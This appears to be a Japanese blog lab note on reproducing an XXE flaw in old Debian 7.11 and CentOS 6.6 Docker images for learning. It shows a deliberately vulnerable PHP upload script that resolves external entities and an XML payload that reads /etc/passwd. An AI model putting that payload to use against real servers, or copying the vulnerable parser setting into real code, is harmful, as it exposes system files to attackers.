年末のPHP Conferenceで徳丸浩さんがデモしていたXXEの脆弱性を再現したくてDockerを探していたら、ぎりぎりDebian6が残っていたので試してみた。
Debian
2018年5月にDebian6はLTSも終わっているが、Dockerhubでは7.11が今も残っている。
https://hub.docker.com/_/debian/
https://wiki.debian.org/DebianReleases
バージョン確認コマンドのレスポンスは下記の通り。
root@f0753e2e4a49:/# cat /etc/debian_version
7.11
root@f0753e2e4a49:/# php --version
PHP 5.4.45-0+deb7u14 (cli) (built: May 9 2018 16:47:00)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2014 Zend Technologies
root@f0753e2e4a49:/# openssl version
OpenSSL 1.0.1t 3 May 2016
root@f0753e2e4a49:/# apt-cache show libxml2
Package: libxml2
Version: 2.8.0+dfsg1-7+wheezy12
こんな感じのファイルを置いて、
xxe.php
<?php
$doc = new DOMDocument();
$doc->substituteEntities = true;
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?>
<body>
<form action="xxe.php" method="post" enctype="multipart/form-data">
<input type="file" name="user" />
<input type="submit"/>
</form>
posted<br>
name: <?php echo htmlspecialchars($name); ?><br>
addr: <?php echo htmlspecialchars($addr); ?><br>
</body>
PHPビルトインサーバを起動して
$ php -S 0.0.0.0:8000
こんな感じで外部エンティティを呼び出すXMLファイルをアップロードすれば、手軽にXXE脆弱性を確認できる。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<user>
<address>&pass;</address>
</user>
libxml2が2.8なのでXXE脆弱性があるはずだが、パッチが当たってるようで、PHPで$doc->substituteEntities = true;
を追加しなければ再現しなかった。この時点で脆弱性でも何でもないが、XXEはともかく、話題のSSRFの概念実証に使えそうかな。
CentOS
続けてCentOSは6.6が入れられる。
こちらのバージョンは下記の通り。
[root@565cfd10bf9f /]# php --version
PHP 5.3.3 (cli) (built: Mar 22 2017 12:27:09)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
[root@565cfd10bf9f /]# openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013
[root@565cfd10bf9f /]# yum list | grep libxml2
libxml2.x86_64 2.7.6-14.el6_5.2 @CentOS/$releasever
PHPが5.4以前なのでビルトインサーバを立ち上げられず、動作確認のためにサーバを立てないといけないのが面倒そうだ。